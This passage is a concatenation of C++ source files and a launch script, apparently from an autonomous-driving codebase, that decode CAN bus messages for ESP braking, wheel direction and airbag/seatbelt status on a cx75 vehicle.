0.0, 'physical_range': '[0|1]', 'bit': 1, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_advanced_0x234_234::Esp_ebdactiveType esp_ebdactive(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'ESP_ECDTempOff', 'enum': {0: 'ESP_ECDTEMPOFF_NOT_HIGH', 1: 'ESP_ECDTEMPOFF_TEMP_TOO_HIGH'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 14, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_advanced_0x234_234::Esp_ecdtempoffType esp_ecdtempoff(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'ESP_NoBrakeForce', 'enum': {0: 'ESP_NOBRAKEFORCE_EXIST_BRK_FORCE', 1: 'ESP_NOBRAKEFORCE_NO_BRK_FORCE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 15, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_advanced_0x234_234::Esp_nobrakeforceType esp_nobrakeforce(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'ESP_BrkFricTqTotAtWhlvaild', 'enum': {0: 'ESP_BRKFRICTQTOTATWHLVAILD_VALID', 1: 'ESP_BRKFRICTQTOTATWHLVAILD_INVALID'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 16, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_advanced_0x234_234::Esp_brkfrictqtotatwhlvaildType esp_brkfrictqtotatwhlvaild(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'ESP_AEBdecAvailable', 'enum': {0: 'ESP_AEBDECAVAILABLE_NOT_AVAILABLE', 1: 'ESP_AEBDECAVAILABLE_AVAILABLE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 17, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_advanced_0x234_234::Esp_aebdecavailableType esp_aebdecavailable(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'ESP_AEBdecActive', 'enum': {0: 'ESP_AEBDECACTIVE_NOT_ACTIVATED', 1: 'ESP_AEBDECACTIVE_ACTIVATED'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 18, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_advanced_0x234_234::Esp_aebdecactiveType esp_aebdecactive(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'ESP_PrefillAvailable', 'enum': {0: 'ESP_PREFILLAVAILABLE_NOT_AVAILABLE', 1: 'ESP_PREFILLAVAILABLE_AVAILABLE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 19, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_advanced_0x234_234::Esp_prefillavailableType esp_prefillavailable(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'ESP_PrefillActive', 'enum': {0: 'ESP_PREFILLACTIVE_NOT_ACTIVATED', 1: 'ESP_PREFILLACTIVE_ACTIVATED'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 20, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_advanced_0x234_234::Esp_prefillactiveType esp_prefillactive(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'ESP_ABAavailable', 'enum': {0: 'ESP_ABAAVAILABLE_NOT_AVAILABLE', 1: 'ESP_ABAAVAILABLE_AVAILABLE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 21, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_advanced_0x234_234::Esp_abaavailableType esp_abaavailable(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'ESP_ABAactive', 'enum': {0: 'ESP_ABAACTIVE_NOT_ACTIVATED', 1: 'ESP_ABAACTIVE_ACTIVATED'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 22, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_advanced_0x234_234::Esp_abaactiveType esp_abaactive(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'ESP_CDDAvailable', 'enum': {0: 'ESP_CDDAVAILABLE_NOT_AVAILABLE', 1: 'ESP_CDDAVAILABLE_AVAILABLE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 23, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_advanced_0x234_234::Esp_cddavailableType esp_cddavailable(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'ESP_DTCactive', 'enum': {0: 'ESP_DTCACTIVE_NOT_ACTIVATED', 1: 'ESP_DTCACTIVE_ACTIVATED'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 24, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_advanced_0x234_234::Esp_dtcactiveType esp_dtcactive(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'ESP_AWBavailable', 'enum': {0: 'ESP_AWBAVAILABLE_NOT_AVAILABLE', 1: 'ESP_AWBAVAILABLE_AVAILABLE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 25, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_advanced_0x234_234::Esp_awbavailableType esp_awbavailable(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'ESP_AWBactive', 'enum': {0: 'ESP_AWBACTIVE_NOT_ACTIVATED', 1: 'ESP_AWBACTIVE_ACTIVATED'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 26, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_advanced_0x234_234::Esp_awbactiveType esp_awbactive(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'ESP_BrkFricTqTotAtWhl', 'offset': 0.0, 'precision': 1.0, 'len': 14, 'is_signed_var': False, 'physical_range': '[0|10230]', 'bit': 37, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int esp_brkfrictqtotatwhl(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'ESP_VLCerror', 'enum': {0: 'ESP_VLCERROR_NOT_ERROR', 1: 'ESP_VLCERROR_ERROR'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 38, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_advanced_0x234_234::Esp_vlcerrorType esp_vlcerror(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'ESP_CDDerror', 'enum': {0: 'ESP_CDDERROR_NOT_ERROR', 1: 'ESP_CDDERROR_ERROR'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 39, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_advanced_0x234_234::Esp_cdderrorType esp_cdderror(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'Rolling_counter_0x234', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int rolling_counter_0x234(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'Checksum_0x234', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int checksum_0x234(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'ESP_CDDActive', 'enum': {0: 'ESP_CDDACTIVE_NOT_ACTIVATED', 1: 'ESP_CDDACTIVE_ACTIVATED'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 8, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_advanced_0x234_234::Esp_cddactiveType esp_cddactive(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'ESP_CDD_APactive', 'enum': {0: 'ESP_CDD_APACTIVE_NOT_ACTIVATED', 1: 'ESP_CDD_APACTIVE_ACTIVATED'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 9, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_advanced_0x234_234::Esp_cdd_apactiveType esp_cdd_apactive(const std::uint8_t* bytes, const int32_t length) const; }; } // namespace cx75 } // namespace canbus } // namespace jmc_auto #endif // MODULES_CANBUS_VEHICL_cx75_PROTOCOL_ESP_ADVANCED_0X234_234_H_ <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_vehiclemotionpoint_h #define impl_type_vehiclemotionpoint_h #include "impl_type_double.h" #include "impl_type_trajectorypoint.h" struct VehicleMotionPoint { ::TrajectoryPoint trajectory_point; ::Double steer; static bool IsPlane() { return false; } using IsEnumerableTag = void; template<typename F> void enumerate(F& fun) { fun(trajectory_point); fun(steer); } template<typename F> void enumerate(F& fun) const { fun(trajectory_point); fun(steer); } bool operator == (const ::VehicleMotionPoint& t) const { return (trajectory_point == t.trajectory_point) && (steer == t.steer); } }; #endif // impl_type_vehiclemotionpoint_h <file_sep>##################################################### # File Name: scripts/localization.sh # Author: Leo # mail: <EMAIL> # Created Time: 2021年04月21日 星期三 17时02分41秒 ##################################################### #!/bin/bash DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )" cd "${DIR}/.." export CM_CONFIG_FILE_PATH=${DIR}/../modules/localization/outputJson/ ./Debug/modules/localization/localization --flagfile=modules/localization/conf/localization.conf --log_dir=data/log/ <file_sep>#ifndef MODULES_DRIVERS_CANBUS_CAN_CLIENT_MDC_MDC_CAN_CLIENT_H_ #define MODULES_DRIVERS_CANBUS_CAN_CLIENT_MDC_MDC_CAN_CLIENT_H_ #include <sstream> #include <string> #include <vector> #include "modules/common/proto/error_code.pb.h" #include "modules/drivers/canbus/can_client/can_client.h" #include "mdc/sensor/canrxserviceinterface_common.h" #include "mdc/sensor/canrxserviceinterface_proxy.h" #include "mdc/sensor/cantxserviceinterface_common.h" #include "mdc/sensor/cantxserviceinterface_skeleton.h" #include "impl_type_canbusdataparam.h" #include "impl_type_cansetdataresult.h" /** * @namespace jmc_auto::drivers::canbus::can * @brief jmc_auto::drivers::canbus::can */ namespace jmc_auto { namespace drivers { namespace canbus { namespace can { class MdcCanClient : public CanClient { public: using CanRxProxy = mdc::sensor::proxy::CanRxServiceInterfaceProxy; using CanTxSkeleton = mdc::sensor::skeleton::CanTxServiceInterfaceSkeleton; /// Interval of sleeping static const unsigned int CAN_NUM = 12; static const int CAN_VALIDLEN = 8; bool Init(const CANCardParameter &parameter) override; virtual ~MdcCanClient() = default; jmc_auto::common::ErrorCode Start() override; void Stop() override; /** * @brief Send messages * @param frames The messages to send. * @param frame_num The amount of messages to send. * @return The status of the sending action which is defined by * jmc_auto::common::ErrorCode. */ jmc_auto::common::ErrorCode Send(const std::vector<CanFrame> &frames, int32_t *const frame_num) override; /** * @brief Receive messages * @param frames The messages to receive. * @param frame_num The amount of messages to receive. * @return The status of the receiving action which is defined by * jmc_auto::common::ErrorCode. */ jmc_auto::common::ErrorCode Receive(std::vector<CanFrame> *frames, int32_t *const frame_num) override; /** * @brief Get the error string. * @param status The status to get the error string. */ std::string GetErrorString(const int32_t status) override; private: //CanFrame cf; std::vector<CanFrame> cfs; std::stringstream frame_info_; // canbus_config.json中的ChannelId int m_channelId; // instance ID int m_instance; std::mutex m_canReadMutex; std::unique_ptr<CanRxProxy> m_proxy[CAN_NUM]; std::mutex m_canSendMutex; std::unique_ptr<CanTxSkeleton> m_skeleton[CAN_NUM]; std::unique_ptr<std::thread> m_canMethodThread[CAN_NUM]; void ServiceAvailabilityCallback( ara::com::ServiceHandleContainer<CanRxProxy::HandleType> handles, ara::com::FindServiceHandle handler); void CanDataEventCallback(unsigned char channelID); }; } // namespace can } // namespace canbus } // namespace drivers } // namespace jmc_auto #endif // MODULES_DRIVERS_CANBUS_CAN_CLIENT_MDC_MDC_CAN_CLIENT_H_ <file_sep>/****************************************************************************** * Copyright 2017 The jmc_auto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #ifndef MODULES_CANBUS_VEHICLE_cx75_PROTOCOL_ESP_DIRECTION_0X235_235_H_ #define MODULES_CANBUS_VEHICLE_cx75_PROTOCOL_ESP_DIRECTION_0X235_235_H_ #include "modules/drivers/canbus/can_comm/protocol_data.h" #include "modules/canbus/proto/chassis_detail.pb.h" namespace jmc_auto { namespace canbus { namespace cx75 { class Espdirection0x235235 : public ::jmc_auto::drivers::canbus::ProtocolData< ::jmc_auto::canbus::ChassisDetail> { public: static const int32_t ID; Espdirection0x235235(); void Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const override; private: // config detail: {'name': 'ESP_WhlMilgRearRe', 'offset': 0.0, 'precision': 1.0, 'len': 16, 'is_signed_var': False, 'physical_range': '[0|65535]', 'bit': 23, 'type': 'int', 'order': 'motorola', 'physical_unit': 'edge'} int esp_whlmilgrearre(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'ESP_FRWheelDriveDirStatus', 'enum': {0: 'ESP_FRWHEELDRIVEDIRSTATUS_VALID', 1: 'ESP_FRWHEELDRIVEDIRSTATUS_INVALID'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 32, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_direction_0x235_235::Esp_frwheeldrivedirstatusType esp_frwheeldrivedirstatus(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'ESP_FLWheelDriveDirStatus', 'enum': {0: 'ESP_FLWHEELDRIVEDIRSTATUS_VALID', 1: 'ESP_FLWHEELDRIVEDIRSTATUS_INVALID'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 33, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_direction_0x235_235::Esp_flwheeldrivedirstatusType esp_flwheeldrivedirstatus(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'ESP_RRWheelDriveDirStatus', 'enum': {0: 'ESP_RRWHEELDRIVEDIRSTATUS_VALID', 1: 'ESP_RRWHEELDRIVEDIRSTATUS_INVALID'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 34, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_direction_0x235_235::Esp_rrwheeldrivedirstatusType esp_rrwheeldrivedirstatus(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'ESP_RLWheelDriveDirStatus', 'enum': {0: 'ESP_RLWHEELDRIVEDIRSTATUS_VALID', 1: 'ESP_RLWHEELDRIVEDIRSTATUS_INVALID'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 35, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_direction_0x235_235::Esp_rlwheeldrivedirstatusType esp_rlwheeldrivedirstatus(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'ESP_RRWheelDriveDirection', 'enum': {0: 'ESP_RRWHEELDRIVEDIRECTION_UNDEFINED', 1: 'ESP_RRWHEELDRIVEDIRECTION_STANDSTILL', 2: 'ESP_RRWHEELDRIVEDIRECTION_FORWARD', 3: 'ESP_RRWHEELDRIVEDIRECTION_BACKWARD'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 41, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_direction_0x235_235::Esp_rrwheeldrivedirectionType esp_rrwheeldrivedirection(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'ESP_RLWheelDriveDirection', 'enum': {0: 'ESP_RLWHEELDRIVEDIRECTION_UNDEFINED', 1: 'ESP_RLWHEELDRIVEDIRECTION_STANDSTILL', 2: 'ESP_RLWHEELDRIVEDIRECTION_FORWARD', 3: 'ESP_RLWHEELDRIVEDIRECTION_BACKWARD'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 43, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_direction_0x235_235::Esp_rlwheeldrivedirectionType esp_rlwheeldrivedirection(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'ESP_FRWheelDriveDirection', 'enum': {0: 'ESP_FRWHEELDRIVEDIRECTION_UNDEFINED', 1: 'ESP_FRWHEELDRIVEDIRECTION_STANDSTILL', 2: 'ESP_FRWHEELDRIVEDIRECTION_FORWARD', 3: 'ESP_FRWHEELDRIVEDIRECTION_BACKWARD'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 45, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_direction_0x235_235::Esp_frwheeldrivedirectionType esp_frwheeldrivedirection(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'ESP_FLWheelDriveDirection', 'enum': {0: 'ESP_FLWHEELDRIVEDIRECTION_UNDEFINED', 1: 'ESP_FLWHEELDRIVEDIRECTION_STANDSTILL', 2: 'ESP_FLWHEELDRIVEDIRECTION_FORWARD', 3: 'ESP_FLWHEELDRIVEDIRECTION_BACKWARD'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 47, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_direction_0x235_235::Esp_flwheeldrivedirectionType esp_flwheeldrivedirection(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'Rolling_counter_0x235', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int rolling_counter_0x235(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'ESP_WhlMilgReaRLeStatus', 'enum': {0: 'ESP_WHLMILGREARLESTATUS_VALID', 1: 'ESP_WHLMILGREARLESTATUS_INVALID'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 52, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_direction_0x235_235::Esp_whlmilgrearlestatusType esp_whlmilgrearlestatus(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'ESP_WhlMilgReaRRiStatus', 'enum': {0: 'ESP_WHLMILGREARRISTATUS_VALID', 1: 'ESP_WHLMILGREARRISTATUS_INVALID'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 53, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_direction_0x235_235::Esp_whlmilgrearristatusType esp_whlmilgrearristatus(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'ESP_VehicleStandstill', 'enum': {0: 'ESP_VEHICLESTANDSTILL_NOT_STANDSTILL', 1: 'ESP_VEHICLESTANDSTILL_STANDSTILL', 2: 'ESP_VEHICLESTANDSTILL_INVALID'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 55, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_direction_0x235_235::Esp_vehiclestandstillType esp_vehiclestandstill(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'Checksum_0x235', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int checksum_0x235(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'ESP_WhlMilgRearLe', 'offset': 0.0, 'precision': 1.0, 'len': 16, 'is_signed_var': False, 'physical_range': '[0|65535]', 'bit': 7, 'type': 'int', 'order': 'motorola', 'physical_unit': 'edge'} int esp_whlmilgrearle(const std::uint8_t* bytes, const int32_t length) const; }; } // namespace cx75 } // namespace canbus } // namespace jmc_auto #endif // MODULES_CANBUS_VEHICL_cx75_PROTOCOL_ESP_DIRECTION_0X235_235_H_ <file_sep>/****************************************************************************** * Copyright 2017 The jmc_auto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #include "modules/canbus/vehicle/cx75/protocol/srs_0x350_350.h" #include "glog/logging.h" #include "modules/drivers/canbus/common/byte.h" #include "modules/drivers/canbus/common/canbus_consts.h" namespace jmc_auto { namespace canbus { namespace cx75 { using ::jmc_auto::drivers::canbus::Byte; Srs0x350350::Srs0x350350() {} const int32_t Srs0x350350::ID = 0x350; void Srs0x350350::Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const { chassis->mutable_cx75()->mutable_srs_0x350_350()->set_srs_sbr_secondrowright(srs_sbr_secondrowright(bytes, length)); chassis->mutable_cx75()->mutable_srs_0x350_350()->set_srs_sbr_secondrowmid(srs_sbr_secondrowmid(bytes, length)); chassis->mutable_cx75()->mutable_srs_0x350_350()->set_srs_sbr_secondrowleft(srs_sbr_secondrowleft(bytes, length)); chassis->mutable_cx75()->mutable_srs_0x350_350()->set_srs_sbr_pamsenger(srs_sbr_pamsenger(bytes, length)); chassis->mutable_cx75()->mutable_srs_0x350_350()->set_rolling_counter_0x350(rolling_counter_0x350(bytes, length)); chassis->mutable_cx75()->mutable_srs_0x350_350()->set_srs_sbr_driver(srs_sbr_driver(bytes, length)); chassis->mutable_cx75()->mutable_srs_0x350_350()->set_checksum_0x350(checksum_0x350(bytes, length)); chassis->mutable_cx75()->mutable_srs_0x350_350()->set_srs_crashoutputsts(srs_crashoutputsts(bytes, length)); chassis->mutable_cx75()->mutable_srs_0x350_350()->set_srs_airbagfailsts(srs_airbagfailsts(bytes, length)); } // config detail: {'name': 'srs_sbr_secondrowright', 'enum': {0: 'SRS_SBR_SECONDROWRIGHT_LAMP_OFF', 1: 'SRS_SBR_SECONDROWRIGHT_LAMP_FLASHING_RESERVED', 2: 'SRS_SBR_SECONDROWRIGHT_LAMP_ON', 3: 'SRS_SBR_SECONDROWRIGHT_FAULT_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 11, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Srs_0x350_350::Srs_sbr_secondrowrightType Srs0x350350::srs_sbr_secondrowright(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 1); int32_t x = t0.get_byte(2, 2); Srs_0x350_350::Srs_sbr_secondrowrightType ret = static_cast<Srs_0x350_350::Srs_sbr_secondrowrightType>(x); return ret; } // config detail: {'name': 'srs_sbr_secondrowmid', 'enum': {0: 'SRS_SBR_SECONDROWMID_LAMP_OFF', 1: 'SRS_SBR_SECONDROWMID_LAMP_FLASHING_RESERVED', 2: 'SRS_SBR_SECONDROWMID_LAMP_ON', 3: 'SRS_SBR_SECONDROWMID_FAULT_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 13, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Srs_0x350_350::Srs_sbr_secondrowmidType Srs0x350350::srs_sbr_secondrowmid(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 1); int32_t x = t0.get_byte(4, 2); Srs_0x350_350::Srs_sbr_secondrowmidType ret = static_cast<Srs_0x350_350::Srs_sbr_secondrowmidType>(x); return ret; } // config detail: {'name': 'srs_sbr_secondrowleft', 'enum': {0: 'SRS_SBR_SECONDROWLEFT_LAMP_OFF', 1: 'SRS_SBR_SECONDROWLEFT_LAMP_FLASHING_RESERVED', 2: 'SRS_SBR_SECONDROWLEFT_LAMP_ON', 3: 'SRS_SBR_SECONDROWLEFT_FAULT_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 15, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Srs_0x350_350::Srs_sbr_secondrowleftType Srs0x350350::srs_sbr_secondrowleft(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 1); int32_t x = t0.get_byte(6, 2); Srs_0x350_350::Srs_sbr_secondrowleftType ret = static_cast<Srs_0x350_350::Srs_sbr_secondrowleftType>(x); return ret; } // config detail: {'name': 'srs_sbr_pamsenger', 'enum': {0: 'SRS_SBR_PAMSENGER_LAMP_OFF', 1: 'SRS_SBR_PAMSENGER_LAMP_FLASHING_RESERVED', 2: 'SRS_SBR_PAMSENGER_LAMP_ON', 3: 'SRS_SBR_PAMSENGER_FAULT_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 4, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Srs_0x350_350::Srs_sbr_pamsengerType Srs0x350350::srs_sbr_pamsenger(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(3, 2); Srs_0x350_350::Srs_sbr_pamsengerType ret = static_cast<Srs_0x350_350::Srs_sbr_pamsengerType>(x); return ret; } // config detail: {'name': 'rolling_counter_0x350', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Srs0x350350::rolling_counter_0x350(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(0, 4); int ret = x; return ret; } // config detail: {'name': 'srs_sbr_driver', 'enum': {0: 'SRS_SBR_DRIVER_LAMP_OFF', 1: 'SRS_SBR_DRIVER_LAMP_FLASHING_RESERVED', 2: 'SRS_SBR_DRIVER_LAMP_ON', 3: 'SRS_SBR_DRIVER_FAULT_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 6, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Srs_0x350_350::Srs_sbr_driverType Srs0x350350::srs_sbr_driver(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(5, 2); Srs_0x350_350::Srs_sbr_driverType ret = static_cast<Srs_0x350_350::Srs_sbr_driverType>(x); return ret; } // config detail: {'name': 'checksum_0x350', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Srs0x350350::checksum_0x350(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 7); int32_t x = t0.get_byte(0, 8); int ret = x; return ret; } // config detail: {'name': 'srs_crashoutputsts', 'enum': {0: 'SRS_CRASHOUTPUTSTS_NO_CRASH', 1: 'SRS_CRASHOUTPUTSTS_CRASH'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 7, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Srs_0x350_350::Srs_crashoutputstsType Srs0x350350::srs_crashoutputsts(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(7, 1); Srs_0x350_350::Srs_crashoutputstsType ret = static_cast<Srs_0x350_350::Srs_crashoutputstsType>(x); return ret; } // config detail: {'name': 'srs_airbagfailsts', 'enum': {0: 'SRS_AIRBAGFAILSTS_LAMP_OFF', 1: 'SRS_AIRBAGFAILSTS_LAMP_FLASH', 2: 'SRS_AIRBAGFAILSTS_LAMP_ON', 3: 'SRS_AIRBAGFAILSTS_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 8, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Srs_0x350_350::Srs_airbagfailstsType Srs0x350350::srs_airbagfailsts(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 1); int32_t x = t0.get_byte(0, 1); Byte t1(bytes + 2); int32_t t = t1.get_byte(7, 1); x <<= 1; x |= t; 